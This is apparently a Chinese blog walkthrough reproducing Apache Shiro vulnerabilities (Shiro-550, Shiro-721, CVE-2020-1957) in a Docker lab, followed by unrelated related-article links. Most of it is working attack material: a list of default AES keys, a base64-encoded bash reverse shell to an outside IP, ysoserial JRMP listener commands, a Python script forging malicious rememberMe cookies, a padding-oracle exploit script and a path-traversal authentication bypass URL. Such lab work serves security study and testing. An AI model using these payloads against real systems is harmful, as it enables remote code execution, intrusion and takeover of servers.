Shiro 漏洞复现

shiro是什么?

ApacheShiro是一个灵活且全面的Java安全框架,它为现代应用程序提供了认证、授权、加密和会话管理等核心安全功能。

shiro组件识别

1.在访问及登录时抓包,如果响应头 set-cookie 中显示 rememberMe=deleteMe,说明使用了 Shiro 组件。

2.有时 Shiro 会在响应中设置特定的cookie 名称,例如 shiroCookie。

Shiro-550(CVE-2016-4437反序列化漏洞)

	shiro采用AES加密,通常情况下不可解密,但是会存在一个初始秘钥,而大多数人不会更改秘钥(key),那么加密就形同虚设
影响版本:Apachee Shiro <= 1.2.4
  • 常见的key:
kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==
  • 使用docker搭建环境:
# 拉取镜像
docker pull medicean/vulapps:s_shiro_1
# 启动容器
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

  1. 检测是否存在默认的key
# 工具
https://github.com/StarkChristmas/Shiro_exploit # 使用命令
python shiro_exploit.py -u http://靶机:端口
  • 这里得到AES秘钥
CipherKey:r0e3c16IdVkouZgk1TKVMg==

  1. 确认反弹shell语句(在java中要base64编码)
# 原本的语句
bash -i >& /dev/tcp/8.8.8.8/6666 0>&1 # base64编码(中间要去空格)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

通过ysoserial这个工具中JRMP监听模块,攻击机监听9999端口并执行反弹shell命令

 # `ysoserial下载
 https://github.com/frohoff/ysoserial/releases/tag/v0.0. 
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

  1. 准备一个脚本shiro_poc.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
return base64.b64encode(iv + encryptor.encrypt(file_body)) if __name__ == '__main__':
if not sys.argv[1:]:
print(f'Usage: {sys.argv[0]} <payload>')
sys.exit(1)
payload = encode_rememberme(sys.argv[1])
print("[+] Payload: ")
print("rememberMe={0}".format(payload.decode()))
  • 脚本生成payload,端口为先前监听的9999
python shiro_poc_test.py 攻击机ip:9999

  1. bp 抓取shiro任意用户登录之后的任意请求,把构造的cookie值替换掉请求中的cookie 值(发送前攻击机监听6666端口)

  1. 成功得到shell

Shir0-721漏洞利用

由于 Apache Shirocookie 中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过PaddingOracle加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行

影响版本:Apache Shiro<= 1.4.1(需要一个登录账号,漏洞必须登录才能利用)

环境搭建

git clone https://github.com/inspiringz/Shiro-721.git

cd Shiro-721/Docker

docker build -t shiro-721 .

docker run -p 8080:8080 -d shiro-721

漏洞利用

  1. 登录Shiro测试账户获取合法Cookie(勾选 Remember Me)

  • 如果登录成功则不会设置deleteMe的cookie

  • 如果失败时会设置deleteMe的cookie

  1. 反序列化工具ysoserial生成Payload
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > eval.class
  1. 创建一个python脚本遍历key,命名为exp.py
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import unquote
import requests
import socket
import time
import sys
import logging class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
# self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
self.wait = kwargs.get('wait', 2.0) def oracle(self, data, **kwargs):
somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
self.session.cookies['rememberMe'] = somecookie.decode('utf-8')
if self.session.cookies.get('JSESSIONID'):
del self.session.cookies['JSESSIONID'] # logging.debug(self.session.cookies) while 1:
try:
response = self.session.get(sys.argv[1], stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...', self.wait)
time.sleep(self.wait)
continue self.history.append(response)
# logging.debug(response.headers)
if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
logging.debug('No padding exception raised on %r', somecookie)
return
# logging.debug("Padding exception")
raise BadPaddingException if __name__ == '__main__':
if not sys.argv[3:]:
print(f'Usage: {sys.argv[0]} <url> <somecookie value> <payload>')
sys.exit(1) logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[2]))
padbuster = PadBuster()
payload = open(sys.argv[3], 'rb').read()
enc = padbuster.encrypt(plaintext=payload, block_size=16) # cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
# print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
print('rememberMe cookies:')
print(b64encode(enc))
  1. 使用脚本(需要python2的环境,大约需要运行1个小时),最后替换cookie即可
python exp.py 靶机URL 登录好的cookie 生成的payload
  • 这个漏洞在实际中很难遇到,因为在 1.2.4 版本后,shiro 已经更换 AES-CBCAES-GCM,无法进行遍历,而且需要一个正确的账号获得cookie,这里不再演示

Apache SShiro认证绕过漏洞(CVE-2020-1957)

  1. 访问http://your-ip:8080/admin/,发现无法访问,会重定向到登录页面

  1. 访问http://your-ip:8080/xxx/..;/admin/可以绕过校验

Shiro 漏洞复现的更多相关文章

  1. Apache Shiro漏洞复现

    利用burp dns进行检测,脚本如下: import sys import uuid import base64 import subprocess from Crypto.Cipher impor ...

  2. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  3. Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

    影响版本 Apache Shiro <= 1.2.4 产生原因 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cook ...

  4. Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

    漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...

  5. Shiro反序列化漏洞复现

    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.使用Shiro的易于理解的API,可以快速.轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企 ...

  6. Fastjson <=1.2.62 远程代码执行-漏洞复现

    影响范围: Fastjson<=1.2.62 需要开启autotype poc: String text1 = "{\"@type\":\"org.apa ...

  7. Shiro反序列化复现

    Shiro反序列化复现 ——————环境准备—————— 目标靶机:10.11.10.108 //docker环境 攻击机ip:无所谓 vpsip:192.168.14.222 //和靶机ip可通 1 ...

  8. Weblogic CVE-2020-2551漏洞复现&CS实战利用

    Weblogic CVE-2020-2551漏洞复现 Weblogic IIOP 反序列化 漏洞原理 https://www.anquanke.com/post/id/199227#h3-7 http ...

  9. [JavaWeb]Shiro漏洞集合——代码审计

    Shiro漏洞集合 Shiro其实就是一组Filter,他会进行验证,鉴权,会话 Management,再把请求转到web过滤器.所以最好先去对Shiro有个整体性的了解. 复现环境:https:// ...

  10. ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程

    没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...

随机推荐

  1. vue打包后dist的使用

    发现问题 vue项目完成打包出dist后准备打开index.html,发现居然页面是一片空白,f12一片报红. 分析问题 经过多次网上查询后发现这是由于vue打包时,脚手架会帮你配置好大量参数,但其中 ...

  2. ComfyUI 基础教程(二) —— Stable Diffusion 文生图基础工作流及常用节点介绍

    上一篇文章讲解述首次启动 ComfyUI 会自动打开一个最基础的文生图工作流.实际上,后续我们可以通过菜单选项,或者快捷键 ctrl + D来打开这个默认工作流.默认工作流如下: 这是一个最基础的文生 ...

  3. 【笔记】利用七牛云CDN加速提高前端图片静态资源访问速率

    第一步,注册七牛云账号 打开 七牛开发者平台,选择 注册,注册后登录系统然后实名认证. 第二步,创建七牛云空间 七牛对象存储将数据文件以资源的形式上传到空间中.您可以创建一个或者多个空间,然后向每个空 ...

  4. JavaScript – 基本语法

    参考 阮一峰 – 基本语法 Switch switch 经常用来取代 else if, 因为可读性比价高, 而且通常性能也比较好. standard 长这样 const orderStatus = ' ...

  5. vivo 全链路多版本开发测试环境落地实践

    作者:来自 vivo 互联网研发效能团队- Wang Kang 测试环境全链路多版本部署,解决多测试环境资源争抢等问题. 一.背景介绍 软件系统中全链路指的是从用户请求发起,到最终返回响应的整个过程中 ...

  6. Go 学习路线图

    基础阶段 学习内容: 掌握 Go 的基本语法,包括变量.常量.数据类型(如整数.浮点数.字符串.布尔值.数组.切片.映射等).运算符等. 理解程序的控制流,如条件语句(if-else.switch-c ...

  7. YAML 文件基本语法格式(十四)

    一.YAML 文件基本语法格式 前面我们得 Kubernetes 集群已经搭建成功了,现在我们就可以在集群里面来跑我们的应用了.要在集群里面运行我们自己的应用,首先我们需要知道几个概念. 第一个当然就 ...

  8. 将读取的.raw文件转换为tensor张量送入网络

    # coding:utf-8 import numpy as np import torch # 首先确定原图片的基本信息:数据格式,行数列数,通道数 rows=886#图像的行数 cols=492# ...

  9. torch.max()使用讲解

    output = torch.max(input, dim) input输入的是一个tensor dim是max函数索引的维度0/1,0是每列的最大值,1是每行的最大值 实例: import torc ...

  10. ⼯作中有做过数据处理吗? tree 组件 根据 pid 寻找父节点

    主要是在组件和后端返回的数据之间,或者组件产⽣的数据和需要提交给后端的数据之间,有可能会出 现结构对不上,这个时候可能会处理⼀下,举个例⼦,⽐如说我们常⽤的tree型组件要求必须是嵌套的 tree型数 ...